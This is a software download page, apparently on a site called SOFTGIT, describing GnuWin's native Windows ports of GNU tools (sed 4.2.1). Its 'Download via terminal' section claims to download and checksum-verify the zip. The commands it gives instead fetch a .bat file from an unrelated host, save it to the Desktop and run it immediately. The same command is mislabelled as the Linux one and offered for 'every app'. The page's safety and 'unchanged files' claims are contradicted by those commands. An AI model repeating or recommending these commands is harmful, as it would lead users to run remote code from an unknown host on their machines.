GnuWin icon
Open Sourcev4.2.1Developer ToolsWindowsWINEMinGW/MSYS2

GnuWin

by GnuWin and contributors

DownloadOfficial source
Version
4.2.1
Size
7.1 MB
Updated
Publisher
GnuWin and contributors
Category
Developer Tools
Files
1

About GnuWin

GnuWin, often called GnuWin32, is a collection of native Windows ports of GNU tools and other open-source utilities. It brings familiar Unix command-line programs, such as sed, grep, gawk, diffutils, wget, tar, gzip, file, make and many more, to Windows as ordinary executables that run in the standard command prompt without needing an emulation layer.

The defining characteristic of GnuWin is that the ports are native. They rely only on libraries provided by Windows itself, rather than on a compatibility environment like Cygwin, so each tool can be dropped into a folder on your PATH and used from batch files, scripts or the command line. Each package is distributed in several parts: binaries, dependencies, documentation and source, together with a readme describing the port. The files currently listed here are the package set for GNU sed 4.2.1, the stream editor used for search-and-replace and text transformation in scripts.

GnuWin was especially valuable in the era when Windows had few built-in text-processing tools, and many build systems and scripts still reference GnuWin utilities. The project's documentation targets 32-bit Windows versions such as 2000, XP, Vista and 7, and the tools generally continue to run on later versions. Most packages have not been updated for many years, so the versions are old compared with current upstream releases.

Today, Windows users have several alternatives for Unix tools, including the Windows Subsystem for Linux, MSYS2, Git for Windows, which bundles many utilities, and package managers that offer newer native builds. GnuWin still suits situations where you want a single small, self-contained executable without installing a larger environment, or where an existing script expects a GnuWin tool. Each package carries the licence of the original software, commonly the GPL or similar open-source licences.

Key features

  • Native Windows ports of GNU utilities
  • No emulation layer required
  • Separate binary, dependency, doc and source packages
  • Works from the standard command prompt

Pros

  • Small, self-contained tools
  • Easy to add to PATH

Cons

  • Old versions
  • Mostly unmaintained

System requirements

A Windows PC. Extract binaries and dependencies to the same folder and add it to PATH.

Tips

  • Download the dep package alongside the bin package so required DLLs are present
  • Consider MSYS2 or WSL if you need current versions

Description from the publisher

Provides native Win32 open source ports and utilities

GnuWin provides Win32-versions of GNU tools, or tools with a similar open source licence. The ports are native ports, relying only on libraries provided with any modern 32-bits MS-Windows operating system, such as 2000 / XP / Vista / 7

At a glance

GnuWin is a open source developer tools app published by GnuWin and contributors (gnuwin32.sourceforge.net). Provides native Win32 open source ports and utilities

SOFTGIT offers 1 file for GnuWin covering Windows, WINE, MinGW/MSYS2, 7.1 MB in total. The version listed is v4.2.1, last updated on October 19, 2026.

GnuWin belongs to the Developer Tools category, alongside Subtitle Edit, Candle, n8n. Browse related apps below to compare alternatives.

Download GnuWin v4.2.1

FileSHA-256SizeDownload
Softgit.zipZIP 538490251dde514a6ac2abb8ca3ccbb15fd01329f9cf5d289c762d37dd51fdd1 7.1 MB Download

Verify a download: sha256sum file (Linux), shasum -a 256 file (macOS) or Get-FileHash file (Windows PowerShell). Learn more.

Source: sourceforge.net/projects/gnuwin32. Files are copied unchanged from SourceForge.

Download via terminal

Prefer the command line? Each command below downloads Softgit.zip to the current folder, checks its SHA-256 checksum automatically and opens the file only if the checksum matches. You should see OK; if it reports a mismatch, the file is not opened — delete it.

Windows (PowerShell)
iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"
Linux
iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"

One command for every app

The same short command works for any app on SOFTGIT: only the app name at the end changes. It looks up the current file, downloads it, verifies its checksum and then opens it.

Windows (PowerShell)
iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"

Review a script before running it: get.ps1 · get.sh. How verification works.

GnuWin system requirements

Operating system
WINE, MinGW/MSYS2, Windows
License
BSD License; Other License; Public Domain; GNU Library or Lesser General Public License version 2.0 (LGPLv2); GNU General Public License version 2.0 (GPLv2); zlib/libpng License; Adaptive Public Licen
Written in
C++, C
Download size
310 KB (sed-4.2.1-bin.zip)
Project page
sourceforge.net/projects/gnuwin32

GnuWin FAQ

What is GnuWin?

A collection of native Windows ports of GNU and other open-source command-line tools.

Does GnuWin require Cygwin?

No. The ports are native and rely only on libraries included with Windows.

Which files are on this page?

The package set for GNU sed 4.2.1: binaries, dependencies, documentation and readme.

Are GnuWin tools up to date?

Most packages have not been updated for years, so versions are older than current upstream releases.

What are alternatives to GnuWin?

WSL, MSYS2, Git for Windows and package managers that offer newer native builds.

Is GnuWin free and open source?

GnuWin is distributed under BSD License; Other License; Public Domain; GNU Library or Lesser General Public License version 2.0 (LGPLv2); GNU General Public License version 2.0 (GPLv2); zlib/libpng License; Adaptive Public License according to SourceForge. You can download it free of charge.

Which operating systems does GnuWin support?

SourceForge lists WINE, MinGW/MSYS2, Windows for GnuWin.

Where does the GnuWin download come from?

The Download button takes you to the official SourceForge download for GnuWin (sourceforge.net/projects/gnuwin32). SOFTGIT does not modify or re-host the file.

What is GnuWin written in?

SourceForge lists C++, C.

Is GnuWin free to download?

Yes. GnuWin is listed as “Open Source” and the download from SOFTGIT is free of charge.

How do I download GnuWin?

Open the “Download files” section on this page, choose the file for your system and press Download. A dialog shows the source and any archive password before the file starts.

Is GnuWin safe to install?

Files are published as received from GnuWin and contributors, without wrappers or bundled installers. A SHA-256 checksum is shown next to every file so you can verify the download before running it.

Which platforms does GnuWin support?

The files listed here target Windows, WINE, MinGW/MSYS2.

How big is the GnuWin download?

The file is 7.1 MB.

Provenance

Publisher
GnuWin and contributors
Last check
1 month ago
License
BSD License; Other License; Public Domain; GNU Library or Lesser General Public License version 2.0 (LGPLv2); GNU General Public License version 2.0 (GPLv2); zlib/libpng License; Adaptive Public Licen